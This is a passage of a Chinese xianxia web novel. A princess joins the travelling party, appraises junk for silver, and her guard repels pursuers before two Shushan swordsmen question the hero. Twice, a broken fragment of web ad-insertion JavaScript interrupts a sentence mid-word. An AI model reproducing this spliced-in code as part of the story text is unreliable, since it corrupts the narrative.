那个侍卫驾着车,随手把点心递了过来。司空玉接过来,随即把车窗关上了。她把点心递给魏小雨,示意她随便吃。魏小雨心头一酸,觉得这个姐姐心地善良的简直像仙女一样,忍不住想哭了。 她怕那侍卫觉察,只能强忍着眼泪。司空玉帮她拆开一包绿豆糕,魏小雨抓起两个,狼吞虎咽地塞进了嘴里。段星河也有点饿了,闻着点心的味儿,忍不住吞了一下口水。这时候就感觉肩膀被人轻轻碰了一下,他回过头来,见司空玉用手绢包着两块枣泥酥,放在了他身边。 段星河拿起了一块点心,咬了一口,刚出炉的枣泥酥还热乎着,吃起来又香又甜。他心里也有些感动,却不知道素不相识的,这位姑娘为什么愿意帮自己。 车行到郊外,前头有几个人待在这里,他们一早就商量好了,一旦救出了小雨就分头跑路,天黑之前在这里汇合。伏顺坐在一根大树桩上,等得有点着急了,道:“大师兄怎么还没来,该不会被他们抓住了吧?” 赵大海道:“小点声,前头有车来了。” 伏顺道:“怕什么,过路的。” 那辆华丽的马车到了众人跟前,司空玉吩咐了一声,驾车的侍卫便停下了车。 车门开了,段星河和魏小雨从车上跳了下来。侍卫见了那两人,皱起了眉头道:“大小姐,怎么回事?” 司空玉微微一笑,道:“忘了跟你说,方才这个小妹妹跟我说要搭车,我就带上她了。” 魏小雨个子小小的,还算可爱无害。段星河却生的人高马大,一身匪气。县主的胆子也是大得很,居然没嚷起来。侍卫从刚才就觉得不对劲,没想到这两个人胆大包天,连县主的车都敢闯。 步云邪等人本来还很担心他们,见他们非但没事,还乘着这么华丽的车出来了,顿时松了口气。李玉真上前道:“段兄,你没事吧?” 段星河拍了拍身上的土,道:“我没事,多亏了这位司空姑娘帮忙。” 李玉真跟司空玉打了个照面,两人都有些惊讶。李玉真道:“啊……你是小师叔的妹妹。” 司空玉也十分诧异,道:“咦,你怎么在这里。前阵子国师为了找你,把大新都翻了个底朝天了。” 李玉真有点不好意思,道:“我出来历练历练,我已经托小师叔跟我爹说过了,你呢?” 司空玉捻着一柄檀香小扇,道:“喔,舅舅封我做清河县主好几年了,我还没去清河县看过呢。前阵子我去封地待了一个月,出来之前我哥让我给蜀山掌教送一把琴,也不拘什么时候送到,我就想路上多转几个地方,玩够了再说。” 她口中的舅舅可不是一般人,而是大新的皇帝。她母亲是大新的公主,哥哥是紫衣侯,司空玉着实是备受宠爱的皇家贵女。这次她能轻车简行溜出来玩,应该也是得益于李玉真的离家出走开了个好头。 两人说着话,宋胡缨走了过来,看着她道:“县主,还记得我么?” 司空玉惊讶道:“啊,你是大将军家的宋姐姐是不是,过年的时候我在龙华寺见过你。你轻功可真好啊,大门一开就没影了,每年抢头香我都输给你。” 跟一群不会武功的人抢头香是有点犯规,但太清宫的头香都被皇家占据了,她只好去龙华寺。宋胡缨道:“我娘说头香最灵验,让我替全家人去抢,保佑我爹百战百胜,国运昌隆。” 大将军能百战百胜,对于整个国家来说都是好事。司空玉本来是想祈求全家平安健康,听她许这样的愿,也没什么好不平的了。 这些人都是皇亲国戚,站在一起龙章凤姿,颇有一派高华之气。夕阳照在他们身上,仿佛给那些少年人镀了一层金。伏顺低声道:“看见没有,好刺眼,他们身上在发光,我要流眼泪了。” 赵大海道:“你迎着太阳站当然流眼泪,换个方向不就行了。” 那侍卫站在旁边,本来还以为是敌人,没想到却是故人。李玉真道:“司空姑娘,你怎么来这里的?” 他不问还好,一问司空玉便有些生气。她道:“前两天我听说浩荡盟的人要在这里开会,正道上的人都可以来参加。我想瞧瞧热闹,就让六幺带我来凤来城了。结果刚才看了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,差点没给我气死。一帮大男人抓了个小女孩儿,凶巴巴地审了半天,没确定是不是妖就要杀了她,还说什么宁可错杀不能放过。我看不下去,也说不上话,半道就走了。” 方才审判的途中,是有一大半人没看完就走了,原来清河县主也在其中。 司空玉道:“我出来以后,心里很不舒服,就让六幺去买点心,想着吃点甜的心情会好一些。我在路边等了一会儿,就见你们来搭车了。” 段星河明白过来了,怪不得她虽然一开始很惊讶,后来却肯配合自己把那些人骗走。原来是她方才见那么多人审判小雨,心里也替她打抱不平。既然在街上遇见了,司空玉自然愿意帮她。 段星河却对她十分唐突,还掐她的脖子威胁她。她身为县主,长这么大还没被人这么对待过。他惭愧道:“对不起,司空姑娘,我不知道你是这么好的人。” 黑衣侍卫皱眉道:“你对大小姐做什么了?” 司空玉微微一笑,道:“没事,他求我送他们出城,我就答应了。” 天色渐晚,宋胡缨道:“司空姑娘,你接下来要去哪里?” 司空玉悠然道:“往西走吧,一路看看风景。好不容易出来了,得玩够本才行。你们呢?” 宋胡缨好不容易遇到个跟自己差不多的女孩子,想跟她作伴,道:“我们也要去蜀山,你要一起走么?” 司空玉顿时高兴起来,道:“可以吗?” 她跟六幺两个人在外行走,确实有点孤独,若是能有几个伙伴再好不过。宋胡缨看向段星河,道:“和他们一起上路吧?” 魏小雨也十分激动,道:“一起走吧!” 段星河一时间没说话,司空玉知道他在顾虑什么,道:“你们放心,六幺的修为很高,一个人能顶十个人。我的修为虽然一般,也有自保能力,不会给你们拖后腿的。” 六幺穿着一身黑色劲装,一只手扶在刀上,身材高大挺拔,皮肤黝黑,面部的骨骼分明,目光锐利如电,看起来修为确实不错,显然不是一般的侍卫。伏顺忍不住道:“这位六兄有多厉害?” 宋胡缨道:“他在大新的名声大得很,三年前初到京城,就以一手白虹刀法破了龙华寺的三奇伏魔阵,拿到了那帮大和尚收藏多年的少阳菩提丹,本事跟我差不多吧。” 六幺客气道:“宋姑娘过谦了,您是将门之后,在下不是您的对手。” “别太妄自菲薄了,”宋胡缨道,“紫衣侯选来保护县主的人错不了。你现在到什么阶段了?” 六幺轻描淡写道:“金丹后期。” 司空玉很替他自豪,道:“他最近冲关呢,应该很快就要元婴期了。” 宋胡缨便笑了,道:“看吧,果然比我强。” 多少人连筑基都十分艰难,他年纪轻轻的,却已经到达了金丹后期,看来也是个极有修真天赋的人。这个人的加入,对他们的队伍会是一个极大的助力。 反正是同路,一起走也无妨。段星河道:“县主若是不嫌弃,那自然好。不过我们风餐露宿的,经常要在外面扎营,洗澡什么的不方便,可能还会有人来找麻烦——” 司空玉手里的檀香小扇一摆,道:“没事的,我跟六幺经常在外面扎营,赶不上宿头也没办法。我从小修了十年的道,冬天大雪封山、夏天炎炎日晒,我都经历过,没你想的那么娇气。” 其他人都没有异议,段星河微微一笑,道:“好,那就欢迎司空姑娘和六兄加入我们。” 众人稀里哗啦地鼓起了掌,纷纷道:“欢迎县主。” 司空玉面带微笑,显得落落大方,反倒是六幺站在她身边,显得有点严肃。司空玉轻轻碰了六幺一下,道:“开心一点嘛,出来玩当然要广交朋友。” 六幺道:“咱们跟这些人刚认识,这就一起走,是不是有点草率?” 司空玉道:“他们都是李公子和宋姑娘的朋友,不会有问题的。放轻松,笑一个。” 六幺只好牵动嘴角,露出了一个僵硬的笑容,手从始至终没从刀鞘上放下来过。他奉紫衣侯的命令保护县主,连做梦都睁着一只眼,有防备心也很正常。司空玉心大的很,已经开始融入这个圈子了。她从荷包里掏出了一把金瓜子,道:“一点见面礼,请收下。” 她给了魏小雨三颗金瓜子,每颗有三钱左右重。小雨觉得凉凉的,金灿灿的,十分喜欢,抬头看着段星河道:“大师兄,我可以收下吗?” 段星河道:“姐姐给你的,你就收下吧。” 司空玉听他管自己叫姐姐,抿嘴轻轻一笑,道:“段公子,请笑纳。” 段星河接了过去,见这金瓜子跟紫衣侯给李玉真的一模一样,想来是一起打的。 他道:“多谢。” 司空玉道:“不必客气,路上就请你们多多照应了。” 她给每个人发了三颗金瓜子,众人都很高兴。伏顺道:“大小姐,你放心,我一定赴汤蹈火,好好保护你!” 司空玉道:“多谢,请问你是?” 伏顺道:“我叫伏顺,是段师兄的三师弟,这是我二师兄叫步云邪,这是老四赵大海,啊这是结香。” 结香显得有点拘谨,觉得这位县主娘娘美丽大方,又文雅随和,跟宋胡缨又是不一样的贵女。以前她在大山里,从来没想过女孩子还可以活得这样潇洒自在,想去哪儿就去哪儿,还有男人鞍前马后地为她做事,非但毫不埋怨,反而觉得十分荣幸。 宋胡缨本来身边也没什么事,便道:“结香,要不然你去伺候司空姑娘吧,大海的车上坐三个人不挤么?” 司空玉最近正好想雇个丫鬟,见结香温柔和顺,又很灵巧,便道:“你愿意么,我一个月给你四两银子,干得好年底还有赏钱。” 结香有点犹豫,魏小雨抬头望着她道:“伺候姐姐要做什么?” 司空玉道:“给我做个伴、洗洗衣裳,我累的时候给我捏捏肩膀,铺铺床、聊聊天,也没别的了。” 魏小雨不想错过挣钱的机会,道:“那太容易了,我来伺候你!” 司空玉弯起眼笑了,摸了摸她的头道:“你还太小了,先好好修炼,等长大一点再说吧。” 宋胡缨知道结香对自己十分忠心,不想离开她。但大家都在一起,也不算分开。她道:“我在外面跑习惯了,县主需要人照顾,你就当帮我一个忙吧。” 她这么说,结香只好答应了。她道:“司空姑娘,宋姑娘让我来帮你料理生活,我会努力的。” 司空玉笑道:“好,多谢你了。” 结香看向了宋胡缨,有点舍不得她,道:“大小姐,我每天还帮你梳头。” 宋胡缨微微一笑,道:“好。” 太阳还有一阵子才落山,这边离凤来城太近了,浩荡盟的人说不定会追过来。段星河道:“趁着天还没黑,再往前走一段路吧。” 众人答应了,李玉真和伏顺坐在赵大海的车里,结香和魏小雨坐在司空玉的车里。其他人骑着马,慢慢往前走。魏小雨很喜欢司空玉,盯着她看了许久,感叹道:“姐姐你真好看。” 司空玉微微一笑,道:“你也好看。” 魏小雨被人扣在大钟里,关了好几天,此时头发乱糟糟的,脸上也都是尘土,看着怪可怜的。司空玉用手帕给她把脸擦干净了,又拿出了一把镶金的玳瑁梳子,给她把头发梳顺了,用红头绳扎了两个小揪揪,就像摆弄一个布娃娃。 她梳完了,对结香道:“像不像个小哪吒?” 结香忍不住笑了,魏小雨觉得当哪吒没什么不好的,身披混天绫,脚踩风火轮,起码没人敢欺负自己。 她照了照镜子,道:“真好看……有点像我娘扎的头。” 司空玉的手指柔软,给她梳头的动作也轻轻的。魏小雨有点伤感,自从来到这个地方,大家都管她叫小乞丐、小妖怪,已经很久没有人对她这么温柔了。 司空玉道:“你娘亲呢?” 魏小雨道:“我娘在巴蜀青岩山,我跟着大师兄就能回家了。” 司空玉轻轻一笑,道:“那就好。” 三个人坐在马车里,六幺道:“大小姐,咱们今天要在外面露宿了。” 司空玉道:“没事,都习惯了嘛。” 六幺吐出一口白气,道:“天这么冷,该找个地方过了冬再走的。” 结香道:“段师兄说,到了下个城就停下来,过完年再走。” “那好的很,”司空玉道,“既然他有计划,我就不用操心了。” 马车里有茶桌,还有碳火,结香烧了一壶茶,车厢里飘荡着淡淡的香气。魏小雨趴在车窗上,看着六幺的背影,似乎对他很感兴趣。她道:“这个哥哥为什么叫这个名字?” 司空玉靠在车厢上,悠闲道:“当初我哥找了一百多个侍卫,让他们比试武功,想挑一个最好的来保护我。” 小雨道:“他是第六十一个?” 司空玉道:“不,跟这没关系,我忘了他是第几个了。” 六幺的声音从前头传过来,道:“第二十九个。” 司空玉道:“对对对,他一出来,就没有后边那些人的事儿了。” 结香也忍不住道:“那他为什么叫六幺?” 司空玉没回答,却低低地笑。六幺显得有点郁闷,道:“县主,你答应过我不跟外人说的。” 司空玉哄他道:“我不跟外人说,小姐妹又不算外人。” 她拿折扇挡着脸,对那两人低声道:“他本名叫沈绿腰,他不喜欢这个名字,就改成六幺了。” 小雨噗嗤一声笑了,说:“好像个女孩儿的名字啊。” 六幺就知道她们会是这个反应,道:“是曲牌名,我娘很擅长弹琵琶,就给我起了这个名字。” 小雨道:“那你爹怎么不管管,这样多不方便啊?” 六幺沉默了下来,一直没说话。小雨不知道自己是不是说错话了,回头看司空玉。司空玉一时间也显得有点尴尬,摇了摇头示意她不要问了。魏小雨只好闭上了嘴,心里却留了个疑惑。 71.司空县主 三 当天晚上,众人在郊外扎营歇下了。次日早上起来,赵大海熬了一大锅玉米粥。司空玉喝了半碗,感觉有点拉嗓子,委婉地说:“这个……咳,还要吃多久?” 赵大海憨憨地说:“玉米糁还有好几麻袋呢,县主爱吃的话管够。” 司空玉干笑了两声,道:“喔,那中午吃什么?” 赵大海道:“看情况吧,可能是玉米粥,炖干豆角,再烤几个番薯。” 司空玉感觉有点没胃口,六幺小声道:“县主,你不是说要节俭修行的么?” 司空玉道:“可这也太节俭了吧……连点肉也没有,你不给我打猎么。” 六幺低声道:“这么多朋友都在,咱们不好搞特殊。” 司空玉也知道他说的不错,以前他打一只兔子,两个人吃就够了。如今不打只大家伙来,根本招待不了这些人,六幺也没办法。 司空玉静了片刻,叹了口气,觉得说来说去都是一个穷字。一群人天天吃玉米粥,都饿得面黄肌瘦的,哪有一点年轻人朝气蓬勃的样子。 她道:“光这样熬着不是个办法,得赚点钱才行。” 宋胡缨有点兴趣,道:“你想干什么?” 司空玉跃跃欲试道:“这附近有没有卖古董的集市,我想去碰碰运气。” 坊间有不少卖古董的地方,一般半夜开卖,鸡叫就散,又名鬼市。摆出来的东西要么说是传家宝,要么说是从坟里挖出来的,但大多数都是造假的。不少人抱着捡漏的心理去逛,最终也只是买一堆破烂回来,很少有人能真发财的。 伏顺插嘴道:“算了吧,跟赌博差不多,买不到真东西的。” 司空玉露出了一点神秘的笑容,道:“我能淘到真货。” 她的母亲是公主,舅舅是皇帝,她从小在王公贵族之间长大,见过太多真东西了,有鉴宝的才能。 段星河寻思着她的眼光肯定跟一般人不一样,反正闲着也是闲着,不妨试一试。他道:“不用去找鬼市了,瓜皮吃了好多破烂呢。好孩子,吐出来让县主瞧瞧。” 太阳还没完全升起来,野外飘荡着一层白茫茫的薄雾。墨墨在路边找了个空旷的地方,张开大嘴,稀里哗啦地吐出了一座小山。 那堆东西散发着泥土、牛肉干和墨墨的口水味,有点不太好闻。但更让人惊讶的是它这么小一个家伙,肚子里居然能盛这么多东西。司空玉虽然知道灵貘擅长搬运,实际看到还是震惊地睁大了双眼,道:“我的天,这也太厉害了吧!” 墨墨蹲在一旁,挺着胸膛十分骄傲。段星河没想到它肚子里还有这么多东西,道:“用不上的就扔了吧,老带着不沉么?” 墨墨甩了甩脑袋,仿佛觉得没什么感觉。反正吞下去就扔到另一个空间里去了,这么多年它也不记得自己吃了多少东西了。 司空玉拿了块手帕蒙住鼻子,坐在一块大石头上。她从破烂堆里拿起一个罐子,看了一眼扔在了一边,道:“一个咸菜罐子,不值钱。” 其他人看着这边,见她又拿起一块结着泥巴的小石头,拿刷子刷去了上面的泥土,透出了绿油油的光。她喃喃道:“前朝的……蝉形压舌玉,从坟里刨出来的……水头不怎么样,质地还行,品相完好……五十两左右吧。” 六幺拿着个本子,在旁边把她鉴定的结果记了下来,配合得十分默契。 司空玉拿起一个黄褐色陶盆,观察着上面的花纹,几个黑色的小人排着队走向月亮,越靠近光芒的小人颜色越浅,仿佛献出了自己的肉/体,只剩下了灵魂。伏顺道:“这又是个咸菜罐子吧?” 司空玉的表情凝重,道:“这是上古时期祭祀用的器具,用来接祭品的鲜血的。上面画的是邪教登阶的仪式,有点不祥……品味独特的人会喜欢吧,差不多值个三百两。” 她小心地把陶盆放在值钱的一边,又捡起了一副卷轴。她抖去了上面的灰,展开来是一幅山水画。她看了一眼就扔在了一旁,道:“仿的前朝画圣的清溪垂钓图,章不对,细节的笔触也不对。” 伏顺倒是觉得挺好看的,道:“你再仔细看看,万一看错了呢?” 司空玉微微一笑,道:“这种东西有时候要的就是第一眼的感觉,假的就是假的,气韵不对。而且你知道我为什么这么确定么?” 伏顺摇了摇头,司空玉道:“因为真品在我哥的书房里挂着呢。” 伏顺沉默了,感觉自己跟她就是两个世界的人。司空玉又捡起了一个赤金的祥云莲花簪子,刷去了上面的泥土,道:“看花纹是一二百年前流行的式样,挺好看的,留着自己戴吧。” 她说着道:“结香,送给你了。” 结香有点不安,道:“县主,这东西这么贵重,还是拿去卖了吧。” 司空玉抬手一指那座垃圾山,道:“这不是还有这么多么,洗洗戴上吧,当我给你的见面礼了。” 结香只好收下了,心里还是觉得受之有愧,怕一会儿有人来骂自己。但其他人都饶有兴趣地看司空玉鉴宝,根本不在乎那一根簪子。司空玉花了大半天的时间,终于把那个垃圾山鉴定完了。选出来的东西也堆成了一个小山,有花瓶、帛书、几个陶罐子、一身破旧的战甲,一串前朝的铜钱,一件珍珠云肩,一副镀金的头面,几枚玉佩,还有些杂七杂八的东西。 她揉着眼,一副筋疲力尽的模样道:“六幺,麻烦你回凤来城一趟,找个当铺把这些东西卖了。” 六幺有点心疼她,道:“县主好好休息,我很快就回来。” 他把东西装到了车上,很快消失在了小路的尽头。司空玉在帐篷里睡了一觉,傍晚时分,就见六幺驾着马车回来了。伏顺十分期待,迎上去道:“好兄弟,怎么样?” 六幺微微一笑,从怀里掏出了几张银票,每张一百两,一共七十三张。 那一堆破烂卖了七千三百两银子,比他们做生意倒卖药材还赚。众人顿时震惊了,看司空玉的眼神就像看一尊活财神。伏顺不知道自己能分到多少钱,但知道只要队伍里有她在,自己以后就饿不着了。 队里一共有九个人,段星河是那堆破烂的拥有人,分到了一千五百两。司空玉鉴定了半天,出的力气最大,也分了一千五百两。六幺来回跑腿卖东西,分了五百两。其他人每人分到了三百两,剩下两千两充入了公共开销里。 有了这些钱,他们接下来半年都不用为了生计发愁了,众人都十分高兴,伏顺更是蠢蠢欲动地想认一个新爹。他道:“司空姑娘,你……那个,缺义子吗?” 司空玉有点莫名其妙,道:“啊?” 伏顺诚恳道:“就是干儿子,我鞍前马后孝敬您老人家,以后有好处您记着我,成不成?” 司空玉噗嗤一声笑了,道:“这不好吧……大家都是兄弟姐妹,别这么客气。” 伏顺道:“不不不,您帮我摆脱了贫穷,就是我的再生父母,女爹爹请受我一拜!” 他一个弓步朝司空玉跪了下去,这时候横里伸出了一只手,把他架了起来。却是六幺大步过来了,县主的干儿子岂是这么容易当的。他拦在了伏顺身前,道:“兄弟,别在这儿挡光,上那边歇着去。” 六幺赚了钱,顺便买了点白面、肉食和烧鸡熟食回来。他也不理别人,对司空玉道:“大小姐,你白天辛苦了,来吃点东西,还热乎着呢。” 伏顺感觉六幺还对自己这些人有些戒备,讪讪地走开了。赵大海煮着饭,道:“叫你见异思迁,热脸贴上冷屁股了吧。” 伏顺刚分到三百两银票,贴冷屁股也觉得没什么。他道:“我乐意,你管得着么。” 段星河回头去找步云邪,道:“瓜皮是你儿子,它捡的破烂,钱我分你一半。” 步云邪淡淡道:“不用,我钱够花。” 段星河感觉他好像有点冷淡,道:“怎么了?” 步云邪道:“没事,就是有点累了。” 他这两天也没干什么,段星河也不知道他哪里不舒服,在他身边坐着,道:“那之前买种子的钱我还没还给你呢,连本带利二百两,喏。” 步云邪道:“你先给李玉真吧。” 段星河道:“我刚给了他,就差你了。” 步云邪看了他一眼,道:“喔,我就老排最后一个是吧?” 段星河有点莫名其妙,道:“不是……你怎么了,有话直说嘛。” 步云邪拿过了银票,揣在了怀里没再说话,拿着根树枝拨弄着篝火。今天他们的队伍没往前走,这会儿天还挺亮的。结香已经把那只莲花簪子洗干净了,她戴在头上,觉得有点不好意思,总是低着头。 司空玉注意到了,道:“怎么了,你不喜欢么?” 结香十分不安,道:“没有……就是太漂亮了。还有白天的钱,我什么也没做,县主你一下子给我那么多,我不知道该怎么办才好。” 她从小就没见过那么多钱,家里人为了几十两银子可以把亲女儿卖掉,司空玉却随手就赏给她这么多钱,让结香整个人都混乱了。她低声道:“小姐,要不然你把钱拿回去吧……我只要工钱就行了。” 司空玉有些不解,道:“怎么,你不需要钱么?” 结香摇了摇头,道:“不是……我不配……” 司空玉笑了,道:“有什么好不配的,你看这么多朋友,他们也没觉得自己不配啊。” 结香道:“我跟他们不一样,我没有什么用。” “别胡说,”司空玉扳起了脸道,“你把头发梳的这么好看,饭又做的这么好吃,还会整理内务,这都是别人比不上的长处。不要妄自菲薄,要不然你爹娘会不高兴的。” 她不这么说还好,一提爹娘,结香垂下了眼睛,正是她爹娘觉得自己什么都不配。司空玉不知道她有怎样的一个家庭,但觉得她好像总是没有自信,有点心疼她。 吃完了饭,众人回到帐篷里,早早地歇下了。睡到半夜,段星河听见外头有马蹄声响。他坐了起来,掀起帐篷向外看,见不远处有一队人骑着马赶了过来。带头的人正是那个一心散人,身后跟着几个浩荡盟的人。段星河皱起了眉头,没想到这人还没放弃,居然又追过来了。 他道:“醒醒,浩荡盟的人来了!” 步云邪睁开了眼,还有些迷糊。段星河抓起了幽冥剑,已经出去了。他刚掀开帘子,就见六幺从帐篷里出来了。两人互相看了一眼,六幺道:“怎么说?” 段星河道:“赶走就行,杀了人反而麻烦。” 六幺道:“明白。” 他看向对面,道:“干什么的?” 一心散人眯起了眼道:“果然是你们,白天就有人说有形迹可疑的人在城郊,快把那小妖女交出来,我就饶你们一条命。” 段星河道:“我们要是不交呢?” 一心散人恨声道:“那我就连你们一起杀了!” 魏小雨迷糊中听见了外头的声音,道:“啊,那山羊胡子又来了吗?” 司空玉往外看了一眼,还真是那些人。她对六幺的实力有信心,道:“没事,你睡吧。” 魏小雨困得不行,挣扎了半天,还是睡着了。司空玉把帐篷拨开了一条缝,借着火光看外头的情形。 一心散人和几个浩荡盟的弟子提着剑朝这边逼近过来,显得气势汹汹的。段星河道:“亏你们还是正道宗门的人,戾气这么大。” 一心散人怒吼一声,挥剑朝他俩砍了过来。他生的根竹竿似的,神光不守,脚步虚浮。段星河一眼就看出这人没有多大本事,那几个浩荡盟的弟子倒是练家子。他连剑也没拔出来,随手招架了几记,剑鞘横扫,便把一心散人重重地打飞了出去。 旁边风声呼呼作响,他转头看向身侧,见六幺从篝火里踢出了一根燃烧的木棍,跟对面过了几招,火焰擦着那几个人的脸划过去,众人感到一股热气扑面而来,都十分畏惧。 六幺一拳打倒了一人,手中带着火的木棍斩过去,火焰挥出一道半弧,将两人逼得连连后退。他拳打脚踢,力道强悍如同一头猛兽出闸,瞬息之间就把三四个人都打倒在地。 他甩了个棍花,木柴上的火焰熄灭了,他将那根滚烫的木柴搭在一人的脖子旁边。那人跌坐在地上,一时间爬不起来,惊恐地看着他。 六幺居高临下道:“动手之前先掂量掂量轻重,别给自己找不痛快。” 那几个人不是他的对手,也没什么办法。六幺把手里的木棍一扔,道:“这次放过你们,去吧。” 他说着踢了那人屁股一脚,那人连滚带爬地起来了,感觉十分屈辱。带头的那人总算识时务,招手道:“撤!” 一心散人还有些不甘心,道:“那小妖怪还没抓到……” 带头那人道:“那你留下来抓吧!” 他说着和其他浩荡盟的人走远了。一心散人独自陷在这里,顿时害怕起来,道:“你们别过来……我可以不追究,你们也别害我性命,不准过来!” 他说着,一个劲儿地往后退,忽地拉住缰绳翻身上马,打马转身就跑。 伏顺等人已经醒了,见他们的身手这么漂亮,十分佩服。伏顺抚掌道:“不愧是六哥,真是六啊!” 六幺望着那些人的背影,这里离浩荡盟的大本营太近了,不能掉以轻心。他道:“他们很可能回去搬救兵,这边不能待了,赶紧走。” 段星河也有此意,让人起来拔营,连夜离开。魏小雨站在营地里,揉着眼道:“天还没亮呢,怎么这就走。” 司空玉道:“你先去车上睡吧,有事我叫你。” 魏小雨便钻到车上睡觉去了。一众人迅速收拾了行李,把帐篷塞到了车上,架起大车就走。路上经过几个岔路口,离凤来城越来越远。天亮时分,他们已经走出了一段路程,应该已经把那些人甩掉了。 他们找了一块空地停下来,打算吃点东西再说。赵大海支起了大锅,今天他心情好,不煮玉米粥了,和了一大锅面,打算发起来蒸馒头。又把六幺昨天买回来的酱牛肉、烧鸡放在火上热着。 段星河打开羊皮地图,坐在火边看。步云邪道:“接下来去哪儿?” 他们本来是直接往西边走的,为了接小雨往北拐了个弯,此时离他们最近的地方是无双城。段星 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 河道:“往无双城去吧,有人的地方总比荒郊野外强。” 烧鸡和馒头热好了,段星河撕了一根鸡腿给小雨。魏小雨咬了一口,眼睛弯成了月牙,道:“大师兄,你真好。” 段星河嗯了一声,道:“多吃点,赶紧长个。” 众人吃着饭,就见半空中两个道人御剑而来。能御剑的修道者起码要元婴以上修为了,他们出来这么久,见过骑法宝的、骑灵兽的,御剑的着实少见。众人顿时都睁大了眼,伏顺嘴里的馒头掉了出来,低声道:“我的天,这剑仙真帅啊!” 那两人穿着水蓝色的道袍,衣袂翩然,头上戴着灰色的道观,一个四十多岁模样,一个二十来岁年纪,但实际年龄应该都超过百岁了。 李玉真认出了他们衣裳上的纹章,激动起来,道:“段兄,这是蜀山的人,咱们不是要去蜀山吗,快问问他们!” 段星河还没出声,那两个道人已然翩然落了地。两人收了剑,径自朝这边走了过来,看起来面色不善,好像不是路过,而是专门冲他们来的。 魏小雨看他们一副古板的模样,好像跟那个山羊胡子是一路的。她现在草木皆兵,最害怕被抓回去,连忙躲到了司空玉身后,小声道:“是不是那个坏人叫来的,没完没了的,真讨厌!” 段星河放下了馒头,站起身来,把其他人挡在了身后,客气道:“两位道长,有何指教。” 两人停在篝火边,那个年长些的道人道:“小兄弟,你们是从凤来城来的?” 这两人不知是敌是友,还是警惕些的好。段星河面无表情地道:“不是,我们是从南边过来的。” 年轻些的道士指着魏小雨道:“还扯谎,那个小孩儿不是从凤来城里逃出来的吗?” 魏小雨正偷偷地看他们,被他一指,连忙缩回司空玉身后,片刻又探出半个脑袋,不服气地冲他皱着鼻子做鬼脸。 段星河的心微微一沉,心知这两人跟那山羊胡子是一路的了。他正要去蜀山,不想得罪他们,便道:“在下段星河,在大幽钦天监供职,这是我小妹子,不知她何处得罪了两位?” 那年长的道士道:“我是蜀山门下陈松屿,他是我师弟肖月明。你这小妹子没得罪我们,我们来是找你的。” 段星河微微一诧,那中年道士严肃道:“我与师弟从此地路过,方才遇上了浩荡盟的人。他们说有人拿着我蜀山弟子的腰牌招摇撞骗,可是你么?” 段星河没想到自己只冒充了一次,就被蜀山的人逮住了。他心想自己最近也是够倒霉的,扯什么谎都被人揭穿,索性坦诚道:“在下确实冒充了蜀山弟子的身份,但只是为了救我小妹子。前阵子我小妹跟我们走散了,腹中饥饿,吃了一些灵植,浩荡盟的人就要杀了她炼丹。我赔不起钱,就带着她跑了。两位要替他们缉拿我们么?” 他虽然这么说,但一点也没打算跟他们回去,句句都在说浩荡盟的人刻薄心狠。这两人不是浩荡盟的人,那山羊胡子少了几棵灵植,他们根本不在乎。他们追过来,为的是蜀山的名誉。 那年长的道人果然道:“腰牌呢?” 段星河从腰包里掏出了张凌越的腰牌,递了过去。年轻的道人看清了上面的名字,十分诧异,道:“怎么会是他……他人呢?” 那年长的道士也很惊讶,皱起眉头看着段星河,疑心是这年轻人把他杀了。 段星河平静道:“张兄在大幽被官兵抓到采石场,不幸去世。他临终前让我把腰牌带回蜀山,跟他的未婚妻刘毅君说一声,让她别等了。” 这年轻人若是杀人抢夺身份,不至于还能说得出他未婚妻的名字。那两个道士的神色都大为震动,这么久不见,还以为徒弟在外历练,没想到他已经死了。 肖月明往前走了一步,手指微微颤抖,按剑道:“是谁害的他?” 段星河心想,人家丧徒心痛,非要问出个究竟来,李大人可莫怪我不替你打掩护。他道:“他是吃了钦天监司正李如芝的金丹,身体变异,爆裂而死。” 陈松屿是张凌越的师父,得知爱徒死的这么惨,神色悲痛,眼底隐隐生出了泪光。肖月明道:“钦天监……你不也是钦天监的么,又是什么好东西了?” 步云邪皱起了眉头,觉得这些道士说话太难听。段星河却平静道:“当时我跟张兄被关在一个牢房里,一对难兄难弟。我也是九死一生,只不过运气好一些才逃了出来。他们看我粗通道法,让我出来替钦天监行走办事。我们这些人身份低微,可是万万不敢与司正大人相提并论的。” 陈松屿沉默着,眼圈已经红了,还是难以接受这样的事实。肖月明也很难过,道:“师兄,想开点吧。” 陈松屿的手微微发抖,哑声道:“毅君还在家里等他,我怎么跟她交代?” 肖月明也不知如何是好,在外人面前,不方便说太多话。陈松屿的神色渐渐平静下来,将那块令牌捏成了碎片,冷冷道:“念你年轻识浅,且放过你这一回。以后不准冒充我派弟子,否则杀无赦!” 冒充其他宗门的弟子招摇撞骗是修真的大忌,段星河也没什么好说的,只得道:“是。” 陈松屿一拂衣袖,长剑锵地一声漂浮在他身边。肖月明也召出了长剑,两人如来时一般翩然离去。段星河扬起了嘴角,生出了一丝快意。这两个剑仙的本事高强,今日恨上了李如芝,日后若是遇上了他,必然不会给他好果子吃。 段星河望着他们的身影,感觉忘了点什么。忽然反应过来,刚才还想问问蜀山能不能解除虺神的诅咒,被他俩一顿盘问给忘了。 “算了……” 那两个人死了徒弟正在伤心,也不是自己问东问西的时候。反正离巴蜀也不远了,有什么话亲自去问就是。 魏小雨从司空玉身后钻出来,气愤愤地道:“那两个臭道士好凶,会御剑就了不起么?” “就是了不起啊,”六幺道,“正道宗门的龙头老大,能放过咱们已经算不错了。” 刚才他已经做好要打一场的准备了,没想到那两个道士还听得进人话,这就走了。看来蜀山的人还是不错的,至少比浩荡盟的人讲道理多了。 令牌被捏成了碎片,段星河从地上捡起了一块完整一点的,轻轻擦了擦。伏顺道:“哥,都成破烂了,还要它干嘛?” 张凌越死的那么惨,这是自己唯一能为他做的事了。段星河把牌子放进腰包里,平静道:“受人之托,忠人之事嘛。万一以后遇见刘姑娘了,总有个信物给她。” 大风迎面而来,那两个蜀山的道士御剑飞在空中,衣袂猎猎翩飞。肖月明道:“师兄,那小子身上的煞气好浓,是不是最近传闻中那个被虺神盯上的人?” 陈松屿为徒弟难过之余,对段星河也有些忌惮。这段时间以来,他们听说有个小子从大幽来,身上带着虺神的烙印。师尊也曾经提到过此人,说若是遇上了,还是要尽量劝他向善才好。肖月明道:“要不要杀了他以绝后患?” 